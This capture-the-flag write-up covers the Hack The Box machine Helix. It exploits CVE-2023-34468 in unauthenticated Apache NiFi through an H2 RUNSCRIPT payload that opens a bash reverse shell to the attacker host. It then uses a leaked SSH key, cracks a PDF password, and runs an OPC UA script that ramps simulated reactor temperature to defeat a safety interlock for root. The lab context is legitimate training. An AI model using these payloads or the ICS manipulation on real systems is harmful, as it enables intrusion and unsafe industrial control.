Helix
The vhost flow.helix.htb proxies an Apache NiFi 1.21.0 canvas that runs completely unauthenticated — GET /nifi-api/flow/current-user returns anonymous with every permission true — so CVE-2023-34468 (NiFi 0.0.2–1.21.0, fixed 1.22.0, CVSS 8.8) is reachable cold: a DBCPConnectionPool pointed at an H2 in-memory JDBC URL plus an ExecuteSQL processor running RUNSCRIPT FROM 'http://attacker/rce.sql' executes H2's CREATE ALIAS Java stored procedure and returns a shell as nifi. A forgotten support bundle leaves operator's OpenSSH ed25519 key world-readable at /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak, giving user.txt. Root is an ICS safety-interlock abuse: operator may sudo /usr/local/sbin/helix-maint-console, which only checks that /opt/helix/state/maintenance_window holds a future timestamp before exec'ing bash -p, and the root helix-safety controller writes that file when the reactor enters a hazardous test band. The loopback-only OPC UA PLC on 127.0.0.1:4840 accepts anonymous writes, so setting Mode=MAINTENANCE, TestOverride=True and slowly ramping CalibrationOffset until Temperature crosses 295 °C — without hitting the 305 °C trip — makes root open the window itself.
contents

Helix — HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Helix |
| IP | 10.129.245.123 (reset mid-assessment to 10.129.41.210 and back — per-spawn) |
| OS | Linux (Ubuntu 22.04.5 LTS “jammy”, kernel 5.15.0-164-generic) |
| Hostname | helix |
| Domain | helix.htb (+ flow.helix.htb) |
| Difficulty | Medium |
| Key Topics | Unauthenticated Apache NiFi 1.21.0, H2 JDBC RUNSCRIPT code injection (CVE-2023-34468), SSH key left in a support bundle, encrypted PDF cracking, unauthenticated OPC UA PLC, safety-window race → sudo maintenance console |
Overview#
Helix exposes only 22 and 80. Port 80 302s everything to helix.htb, a static “industrial automation” brochure with no server side at all — feroxbuster over 56 163 words finds exactly one path (/). The box is entirely behind a vhost: flow.helix.htb, which nginx proxy_passes to 127.0.0.1:8080, an Apache NiFi 1.21.0 canvas. The critical property is not the version alone but that the instance runs plain HTTP with authentication disabled — GET /nifi-api/flow/current-user returns "identity":"anonymous" with canWrite: true on the controller, policies and tenants. Everything the CVE needs is available without a login.
CVE-2023-34468 (Apache NiFi 0.0.2 – 1.21.0, fixed in 1.22.0, CVSS 8.8) is a code-injection flaw in the DBCPConnectionPool / HikariCPConnectionPool controller services: they accept an arbitrary JDBC URL, and the H2 driver is bundled with NiFi. H2 supports CREATE ALIAS ... AS $$ <Java> $$, a Java stored procedure, and RUNSCRIPT FROM '<url>', which fetches SQL over HTTP. Chaining them through an ExecuteSQL processor gives arbitrary Java — and therefore Runtime.exec — as the nifi service account (uid 998). The box even ships the hint: a pre-existing controller service named MaintenanceDB is already configured with jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1, org.h2.Driver, and Database User = operator.
nifi cannot reach /home/operator, but the NiFi installation tree hides the pivot: /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak is a world-readable OpenSSH ed25519 private key (comment root@management) that authenticates as operator over SSH. That is user.txt, and operator’s home holds the two documents that explain root: an AI-generated control systems diagram.png naming opc.tcp://127.0.0.1:4840/helix/ and marking exactly which OPC UA nodes are writable, and an AES-256 encrypted Operator Control & Safety Guide.pdf (password operator1, rockyou in 29 s) describing the reactor’s trip thresholds and maintenance window.
Root is the ICS puzzle. operator may run one command as root: /usr/local/sbin/helix-maint-console. Reading it shows the whole gate is [ "$(date +%s)" -lt "$(cat /opt/helix/state/maintenance_window)" ], after which it launches /bin/bash -p -i under systemd-run --scope. /opt/helix/state is root-only, so the flag must be written for you — and helix-safety.service runs as root and does exactly that when the reactor enters a hazardous-but-not-tripped band. The PLC (helix-plc, user plc) serves an unauthenticated OPC UA endpoint on 127.0.0.1:4840 with Mode, TestOverride and CalibrationOffset writable by anonymous clients. Forward the port, switch to MAINTENANCE, enable TestOverride, and ramp CalibrationOffset in 0.5 steps until Temperature crosses ~295 °C while staying under the 305 °C trip. The safety controller opens a ~120-second window, and sudo helix-maint-console hands back a root shell.
Reconnaissance#
Port scanning#
nmap -sC -sV -T4 -p- --open -v 10.129.245.123 -oN nmap/allports.txtPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)|_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://helix.htb/|_http-server-header: nginx/1.18.0 (Ubuntu)Two ports, and / redirects by name — vhost routing. Only the apex is known at this stage:
10.129.245.123 helix.htbThe brochure site is empty#
feroxbuster -u http://helix.htb/ \ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt200 GET 1117l 3956w 43341c http://helix.htb/[####################] - 56s 56163/56163 found:1 errors:0One hit out of 56 163: the index page itself. helix.htb is a single static page (“Helix Industries | Industrial Automation & Critical Infrastructure”) with anchor-only navigation and no forms, no API, no PHP. Directory brute-forcing is finished here — the content is on another name.
Vhost enumeration#
The default server 302s any unrecognised Host to http://helix.htb/ with a fixed 8-line nginx error body, so the filter is on line count, not size:
ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fl 8flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 62ms]→ flow.helix.htb, the only subdomain in 114 442 candidates. The 1068-byte body is NiFi’s “Did you mean: /nifi” bounce page. Add it before going further:
10.129.245.123 helix.htb flow.helix.htbEnumeration#
Apache NiFi 1.21.0 — anonymous, with every permission#
curl -s http://flow.helix.htb/nifi-api/flow/about{"about":{"title":"NiFi","version":"1.21.0","uri":"http://flow.helix.htb:80/nifi-api/", "buildTag":"nifi-1.21.0-RC2","buildRevision":"892f822", "buildTimestamp":"04/03/2023 21:28:28 UTC"}}The version is the headline, but check the auth state before planning around a login — NiFi only enables its single-user provider when it is running HTTPS, and this one is proxied plain HTTP:
curl -s http://flow.helix.htb/nifi-api/flow/current-user{"identity":"anonymous","anonymous":true, "controllerPermissions":{"canRead":true,"canWrite":true}, "policiesPermissions":{"canRead":true,"canWrite":true}, "tenantsPermissions":{"canRead":true,"canWrite":true}, ...}Anonymous with write on everything. There is no credential step on this box at all.
| CVE | Affected | Effect |
|---|---|---|
| CVE-2023-34468 | Apache NiFi 0.0.2 – 1.21.0 (fixed 1.22.0) | DBCPConnectionPool/HikariCPConnectionPool accept an H2 JDBC URL → arbitrary code execution (CVSS 8.8, CWE-94) |
Listing the existing controller services confirms H2 is already wired up and even leaks a username:
R=$(curl -s http://flow.helix.htb/nifi-api/flow/process-groups/root \ | python3 -c "import sys,json;print(json.load(sys.stdin)['processGroupFlow']['id'])")curl -s "http://flow.helix.htb/nifi-api/flow/process-groups/$R/controller-services"### MaintenanceDB Database Connection URL = jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1 Database Driver Class Name = org.h2.Driver database-driver-locations = /opt/nifi-1.21.0/lib/h2-2.1.214.jar Database User = operatorh2-2.1.214.jar is on the NiFi classpath, and the account name operator shows up again later as the SSH user.
Exploitation — User Flag#
Step 1: CVE-2023-34468 — H2 CREATE ALIAS + RUNSCRIPT → shell as nifi#
The mechanism is three H2 features stacked. DBCPConnectionPool does not validate the JDBC scheme, so jdbc:h2:mem:... is accepted. H2’s CREATE ALIAS name AS $$ ... $$ compiles and registers inline Java as a stored procedure. And RUNSCRIPT FROM '<url>' makes H2 fetch and execute a SQL script over HTTP — which means the whole payload can be hosted off-box and delivered by a single ExecuteSQL query, avoiding any escaping problems in the NiFi property field.
www/rce.sql:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.15.119/4446 0>&1')python3 -m http.server 8000 # in www/nc -lnvp 4446 # in another terminalOn the canvas at http://flow.helix.htb/nifi/:
Controller Settings → Controller Services → + →
DBCPConnectionPoolProperty Value Database Connection URL jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;Database Driver Class Name org.h2.DriverDatabase Driver Location(s) work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jarEnable it. (The bundled POI NAR copy is used because it is guaranteed present;
/opt/nifi-1.21.0/lib/h2-2.1.214.jarworks identically — and the pre-existingMaintenanceDBservice is already pointed there, so it can simply be reused and this step skipped entirely.)Add an
ExecuteSQLprocessor, connect itssuccessandfailurerelationships to a sink (an Output Port or aLogAttributeprocessor — NiFi refuses to start a processor with unterminated relationships), and configure:Property Value Database Connection Pooling Service DBCPConnectionPoolSQL select query RUNSCRIPT FROM 'http://10.10.15.119:8000/rce.sql'Start the processor.
10.129.245.123 - - [06/Aug/2026 07:23:43] "GET /rce.sql HTTP/1.1" 200 -listening on [any] 4446 ...connect to [10.10.15.119] from (UNKNOWN) [10.129.245.123] 47882bash: cannot set terminal process group (1020): Inappropriate ioctl for devicenifi@helix:/opt/nifi-1.21.0$Upgrade the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'# ^Zstty raw -echo; fgexport TERM=xterm SHELL=/bin/bashuid=998(nifi) gid=998(nifi) groups=998(nifi)Step 2: Map the OT services#
nifi is a bare service account — no sudo, no groups, stock SUID set. What matters is what else is running and what is listening:
ss -tlnpps auxf| Bind | Service | Runs as |
|---|---|---|
0.0.0.0:80 | nginx (helix.htb, flow.helix.htb) | root / www-data |
127.0.0.1:8080 | Apache NiFi | nifi (998) |
127.0.0.1:8081 | /opt/helix/bin/helix-hmi — reactor dashboard | www-data (33) |
127.0.0.1:4840 | /opt/helix/bin/helix-plc — OPC UA server | plc (997) |
| — | /opt/helix/bin/helix-safety — safety controller | root |
/etc/nginx/sites-enabled/flow.helix.htb confirms the proxy:
server { listen 80; server_name flow.helix.htb; location / { proxy_pass http://127.0.0.1:8080/; ... }}linpeas produced nothing actionable here (no writable PATH entry, no interesting SUID, no cron). The find that mattered was a targeted sweep for stray key material:
find / -type f \( -name "*.kdbx" -o -name "*.bak" -o -name "*.old" \ -o -name "id_rsa*" -o -name "*.pem" \) 2>/dev/null/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bakStep 3: The support bundle key → operator#
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJnWAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==-----END OPENSSH PRIVATE KEY-----The comment decodes to root@management, which is misleading — it authenticates as operator, the name already leaked by the MaintenanceDB controller service:
chmod 600 findings/operator_id_ed25519.bakssh -i findings/operator_id_ed25519.bak operator@helix.htbuid=1001(operator) gid=1001(operator) groups=1001(operator)cat ~/user.txtUser Flag: 247f651d61edda40ae957858091e959a
Privilege Escalation — Root Flag#
Step 1: operator’s home is the briefing pack#
ls -la /home/operator-rw------- 1 operator operator 920611 Jan 26 2026 'control systems diagram.png'-rw-rw-r-- 1 operator operator 28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'lrwxrwxrwx 1 root root 9 Apr 20 10:14 .bash_history -> /dev/nullPull both down:
scp -i operator_id_ed25519.bak "operator@helix.htb:control systems diagram.png" .scp -i operator_id_ed25519.bak "operator@helix.htb:Operator\ Control\ \&\ Safety\ Guide.pdf" .The PNG is not steganography — exiftool returns only C2PA provenance (Claim Generator Info Name : ChatGPT, Actions Software Agent Name : GPT-4o). Its value is what it draws: an OPC UA architecture diagram naming the endpoint opc.tcp://127.0.0.1:4840/helix/ and labelling each node — CalibrationOffset, Mode, TestOverride, ResetTrip as Writable; TripActive, RodsInserted, EmergencyCooling as Read Only.
The PDF is AES-256 encrypted:
Encryption : Standard V5.6 (256-bit)pdf2john "Operator Control & Safety Guide.pdf" > pdf.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt pdf.hashoperator1 (Operator Control & Safety Guide.pdf)1g 0:00:00:29 DONE (2026-08-06 10:37) 9041p/sThe document gives the exact plant logic:
| Condition | Threshold |
|---|---|
| Safety trip fires | Temperature ≥ ~305 °C or Pressure ≥ ~75 bar |
| Trip reset accepted | Temp < ~288 °C, Pressure < ~70 bar, Mode=NORMAL, TestOverride off, CalibrationOffset=0.0 |
| Maintenance window opens | Temperature ≈ 295 °C or Pressure ≈ 73 bar, still below trip, no active trip |
| Entering maintenance | Mode=MAINTENANCE, then TestOverride=True, then ramp CalibrationOffset |
and the warning that matters operationally: “If the offset is increased too aggressively the PLC will trigger a safety trip and CalibrationOffset changes are immediately ignored.”
Step 2: One sudo entry, and reading it#
sudo -lUser operator may run the following commands on helix: (root) NOPASSWD: /usr/local/sbin/helix-maint-consoleIt is mode 0750 root:operator — readable, which is the whole point:
cat /usr/local/sbin/helix-maint-consoleFLAG="/opt/helix/state/maintenance_window"window_ok() { [ -f "$FLAG" ] || return 1 until_ts="$(cat "$FLAG")"; now="$(date +%s)" [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1 [ "$now" -lt "$until_ts" ] || return 1}if ! window_ok; then echo "Maintenance window CLOSED."; exit 1; fi...systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group \ --property=SendSIGHUP=yes /bin/bash -p -iThere is no command parsing, no argument handling, no PATH trick — the entire authorisation decision is “does /opt/helix/state/maintenance_window contain a future Unix timestamp”. /opt/helix is root-only (Permission denied for operator), so the file cannot be forged. It has to be written by whoever owns it:
cat /etc/systemd/system/helix-safety.service[Unit]Description=Helix Safety ControllerAfter=helix-plc.service[Service]User=rootExecStart=/opt/helix/bin/helix-safetyRestart=alwaysThe root safety controller opens the window. The exploit is to make the plant satisfy its criteria.
The HMI on 127.0.0.1:8081 states the trigger outright, and doubles as a live monitor:
ssh -i operator_id_ed25519.bak -L 8081:127.0.0.1:8081 operator@helix.htbcurl -s http://127.0.0.1:8081/ | sed 's/<[^>]*>//g'Maintenance window is NOT the same as MAINTENANCE mode. Window opens only whensafety controller authorizes it under hazardous test conditions. Temperature: 284.0 °C Pressure: 69.00 bar CalibrationOffset: 0.0 °C Trip Active: False Mode: NORMAL Test Override: False OPC UA (internal): opc.tcp://127.0.0.1:4840/helix/ Privileged Maintenance Window Status: CLOSED No maintenance window file present. This window is granted by the safety controller only when a hazardous test condition is detected (e.g., Temp >= 295°C or Pressure >= 73 bar) while still below trip.Step 3: Reach the PLC and map the address space#
The OPC UA server is loopback-only, so forward it:
ssh -i operator_id_ed25519.bak -L 4840:127.0.0.1:4840 operator@helix.htbopcua-client (the GUI) will not install — its PyQt5 dependency needs qmake:
sipbuild.pyproject.PyProjectOptionException: specify a working qmake or add it to PATHUse the library directly instead (python-opcua; asyncua also works):
python3 -m venv .venv && source .venv/bin/activate && pip install opcuaA full recursive walk from Objects dumps ~450 lines of the standard Server namespace and eventually breaks the connection, so tools/opc/target-browse.py skips Server and lists only the vendor tree:
=== Plant [ns=2;i=1] === Reactor [ns=2;i=2] Safety [ns=2;i=7] Control [ns=2;i=11]tools/opc/target-browse-v2.py reads those three nodes’ children — anonymously, with no security policy:
=== Reactor [ns=2;i=2] === TemperatureRaw [ns=2;i=3] = 283.98394810433166 Temperature [ns=2;i=4] = 283.98394810433166 Pressure [ns=2;i=5] = 68.99741798318368 CalibrationOffset [ns=2;i=6] = 0.0=== Safety [ns=2;i=7] === RodsInserted [ns=2;i=8] = False EmergencyCooling [ns=2;i=9] = False TripActive [ns=2;i=10] = False=== Control [ns=2;i=11] === Mode [ns=2;i=12] = 'NORMAL' TestOverride [ns=2;i=13] = False ResetTrip [ns=2;i=14] = FalseWriting directly to Safety is pointless — those are enforced server-side, exactly as the guide says. The only lever is CalibrationOffset, and only once Mode and TestOverride are set.
Step 4: Ramp the reactor into the hazard band#
tools/opc/ramp.py enters maintenance mode, then walks the offset up in 0.5 increments with a 2-second settle between writes, aborting the moment TripActive latches:
mode.set_value('MAINTENANCE')override.set_value(True)cur, step = 0.0, 0.5while True: cur += step offset.set_value(cur) time.sleep(2) t, p, tr = temp.get_value(), press.get_value(), trip.get_value() print(f'offset={cur:.2f} T={t:.2f} P={p:.2f} trip={tr}') if tr: print('!! TRIPPED'); break if t >= 295 or p >= 73: print('>>> WINDOW OPEN — run helix-maint-console NOW') input('Press enter after console run to exit...'); breakpython3 ramp.pyMode=MAINTENANCE Override=Trueoffset=0.50 T=284.56 P=69.03 trip=Falseoffset=1.00 T=285.11 P=69.06 trip=False...offset=10.00 T=294.53 P=69.31 trip=Falseoffset=10.50 T=294.96 P=69.28 trip=Falseoffset=11.00 T=295.40 P=69.26 trip=False>>> WINDOW OPEN — run helix-maint-console NOWTemperature tracks the offset roughly 1:1 — ~1.09 °C per unit early on, tapering to ~0.88 by offset 11 — while pressure barely moves and never approaches its 73 bar leg, so temperature is the only realistic trigger. Twenty-two steps, about 45 seconds, and 295 °C is crossed with ~10 °C of margin below the trip.
Step 5: Cash in the window#
Keep ramp.py blocked on its input() so the offset stays applied, and run the console from the SSH session:
sudo /usr/local/sbin/helix-maint-consoleMaintenance window CLOSED.The safety controller polls rather than reacting instantly — the flag file is not written the same second the threshold is crossed. Run it again:
sudo /usr/local/sbin/helix-maint-console[+] Privileged maintenance access granted[!] Window expires in 112 seconds[!] Session will be terminated automaticallyroot@helix:/home/operator# id && whoami && cat /root/root.txtuid=0(root) gid=0(root) groups=0(root)rootRoot Flag: 724a979e28a47117b653a466025affdc
Obstacles & Lessons Learned#
- Check NiFi’s auth state before planning around a login. CVE-2023-34468 is documented as requiring an “authenticated and authorized user”, which reads like a blocker. It is not one here: NiFi only stands up its single-user provider over HTTPS, and this instance is plain HTTP behind nginx, so
GET /nifi-api/flow/current-userreturnsanonymouswithcanWrite:trueon the controller. One unauthenticatedcurlanswers the question the CVE text raises. ffufneeds-fl 8, not a size filter. Any unknownHostgets nginx’s 302 tohttp://helix.htb/— a 154-byte, 8-line body. Filtering on size works too, but the line filter survives theDateheader changing length; without either, all 114 442 words “match”.ExecuteSQLwill not start with unterminated relationships. Bothsuccessandfailuremust go somewhere — an Output Port or aLogAttributesink. The processor sits invalid with a yellow warning triangle otherwise, and it is easy to misread that as the exploit failing.- The H2 pool was already on the box. A controller service called
MaintenanceDBships pre-configured withjdbc:h2:mem:maint,org.h2.Driver,/opt/nifi-1.21.0/lib/h2-2.1.214.jarandDatabase User = operator. It is both the tell that H2 is the intended route and a shortcut —ExecuteSQLcan be pointed straight at it, with no new controller service to create. It also leaks the SSH username two steps early. - The box reset mid-exploitation and the IP changed (
10.129.245.123→10.129.41.210→ back). The reverse-shell callback address inrce.sql, the/etc/hostsline, and the listener port all had to be re-synced; a payload fired at the old IP just silently never connects. linpeaswas noise; a five-wordfindwas the answer. 7 000 lines of output flagged nothing exploitable — no writable PATH, no unusual SUID, no cron.find / -type f \( -name "*.bak" -o -name "id_rsa*" -o -name "*.pem" \)surfacedoperator_id_ed25519.bakimmediately. Support bundles, backups and.bakfiles inside an application’s own install tree are worth a dedicated pass.- The key comment lies.
operator_id_ed25519.bakcarries the commentroot@management. Tryingroot@helix.htbwith it fails; the filename is the honest half. operator1is a PDF password, not a system password.su rootwith it fails outright, and it is not reused anywhere else. Cracking the PDF is worth doing for the content — the trip thresholds and the 295 °C window figure — not for the credential.- The PNG is not a stego challenge.
exiftoolshows only C2PA / GPT-4o generation metadata. It is a diagram meant to be looked at: it namesopc.tcp://127.0.0.1:4840/helix/and marksCalibrationOffset/Mode/TestOverride/ResetTripwritable whileTripActive/RodsInserted/EmergencyCoolingare read-only. That is the entire privesc target list, drawn out. - “Maintenance window” ≠ “MAINTENANCE mode”. The HMI says so in its subtitle, and it is the single easiest thing to get wrong. Setting
Mode=MAINTENANCEalone changes nothing aboutsudo helix-maint-console; the mode only unlocksCalibrationOffset, and the window is a separate grant that root’s safety controller issues on hazard. - Writing the
Safetynodes directly does nothing.TripActive,RodsInsertedandEmergencyCoolingare computed server-side, andResetTrip=Truedoes not force-clear a latched trip — it is only honoured once temperature, pressure, mode, override and offset are all already back in the safe envelope. Attacking them is the obvious first move and a guaranteed dead end. - Ramp slowly or lose several minutes. The trip latches at ≥305 °C / ≥75 bar, and recovering needs offset back to
0.0,Mode=NORMAL,TestOverride=Falseand the reactor to coast below 288 °C. 0.5 per 2 s is comfortable; large single writes overshoot straight past the 10 °C-wide window into the trip. helix-cleanup.timerfires every 5 minutes (OnUnitActiveSec=5min) and runshelix-cleanup.sh, whichsystemctl restart helix-safetyand resets plant state. Any ramp has to complete and be cashed in inside that budget.- The first
sudo helix-maint-consolewill probably say CLOSED. The safety controller polls the PLC rather than reacting on write, so there is a lag of a poll interval between crossing 295 °C and the flag file appearing. Keep the ramp script blocked on itsinput()— releasing it lets the offset be cleaned up — and just run the console a second time. opcua-clientis unusable without Qt.pip install opcua-clientpullsPyQt5, which needsqmaketo build. Skip the GUI entirely:pip install opcua(orasyncua) plus twenty lines of Python does everything.- Recursive browsing from
Objectskills the session. Walking the fullServernamespace dumps ~450 lines of OPC UA housekeeping and then dies withBrokenPipeErroron disconnect. EnumerateObjectsone level deep, findPlant [ns=2;i=1], and targetns=2only. - Finding it next time:
sudo -lreturns exactly one script, and it is readable — read it. Its entire authorisation check is a timestamp in a root-only file, which reframes the whole problem from “escape a wrapper” to “who writes that file, and how do I make them”. From there, any loopback OPC UA endpoint that accepts anonymous writes toControl-class nodes is the privilege escalation, and the two documents in~operatortell you the exact set point.
Tools Used#
| Tool | Purpose |
|---|---|
nmap | External port/service scan (22, 80) |
feroxbuster | Directory brute force on helix.htb (one hit — confirmed the site is static) |
ffuf | Vhost discovery (flow.helix.htb) with -fl 8 against the default-server 302 |
curl | NiFi fingerprinting (/nifi-api/flow/about, /flow/current-user), controller-service enumeration, HMI dashboard reads |
www/rce.sql | CVE-2023-34468 payload — H2 CREATE ALIAS Java stored procedure + reverse shell, fetched by RUNSCRIPT FROM |
python3 -m http.server / nc | Payload delivery and reverse-shell catch |
linpeas / pspy64 | Post-foothold enumeration (produced no vector; pspy did confirm helix-safety runs as uid 0) |
find | Targeted sweep for *.bak / id_rsa* / *.pem → the leaked SSH key |
www/fwd.py | Small threaded TCP forwarder used from the nifi shell to expose loopback 8081 (HMI) before SSH access existed |
ssh -L | Port-forwarding 4840 (OPC UA) and 8081 (HMI) to the attacker box |
exiftool | Metadata on both loot files — ruled out stego, confirmed PDF AES-256 |
pdf2john + john | Cracked the safety guide (operator1, rockyou, 29 s) |
python-opcua | OPC UA client library (after opcua-client’s PyQt5 build failed) |
tools/opc/browse.py | Full recursive address-space walk — too noisy, superseded |
tools/opc/target-browse.py | Lists Objects children excluding Server, isolating Plant [ns=2;i=1] |
tools/opc/target-browse-v2.py | Dumps Reactor/Safety/Control node values and NodeIds |
tools/opc/ramp.py | The exploit — enters maintenance mode and steps CalibrationOffset in 0.5 increments until Temp ≥ 295 °C, aborting on TripActive |
Appendix — Captured Values (this spawn)#
ATTACKER_IP = 10.10.15.119BOX_IP = 10.129.245.123 (reset to 10.129.41.210 mid-session — per-spawn, rediscover each reset)VHOSTS = helix.htb -> /var/www/helix (static) flow.helix.htb -> 127.0.0.1:8080 (Apache NiFi)Apache NiFi = 1.21.0 (build nifi-1.21.0-RC2, rev 892f822) (CVE-2023-34468)NiFi auth = none — anonymous identity, canWrite:true on controller/policies/tenantsH2 driver = h2-2.1.214.jar (/opt/nifi-1.21.0/lib/, and bundled in nifi-poi-nar-1.21.0)Pre-existing CS = MaintenanceDB jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1 user=operatorSERVICE UIDS = nifi 998 | plc 997 | helix-hmi www-data 33 | helix-safety root 0INTERNAL = 127.0.0.1:8080 NiFi | 127.0.0.1:8081 HMI | 127.0.0.1:4840 OPC UASSH KEY = /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak (ed25519, comment root@management -> user operator)PDF PASSWORD = operator1 (Operator Control & Safety Guide.pdf; NOT a system password)OPC UA = opc.tcp://127.0.0.1:4840/helix/ (FreeOpcUa Python Server, anonymous, no security policy) NodeIds = Temperature ns=2;i=4 | Pressure ns=2;i=5 | CalibrationOffset ns=2;i=6 TripActive ns=2;i=10 | Mode ns=2;i=12 | TestOverride ns=2;i=13 | ResetTrip ns=2;i=14THRESHOLDS = trip >= 305 C / 75 bar | window >= 295 C / 73 bar | reset < 288 C / 70 barSUDO = (root) NOPASSWD: /usr/local/sbin/helix-maint-consoleWINDOW FLAG = /opt/helix/state/maintenance_window (unix ts; written by root helix-safety; ~120 s)USER_FLAG = 247f651d61edda40ae957858091e959aROOT_FLAG = 724a979e28a47117b653a466025affdc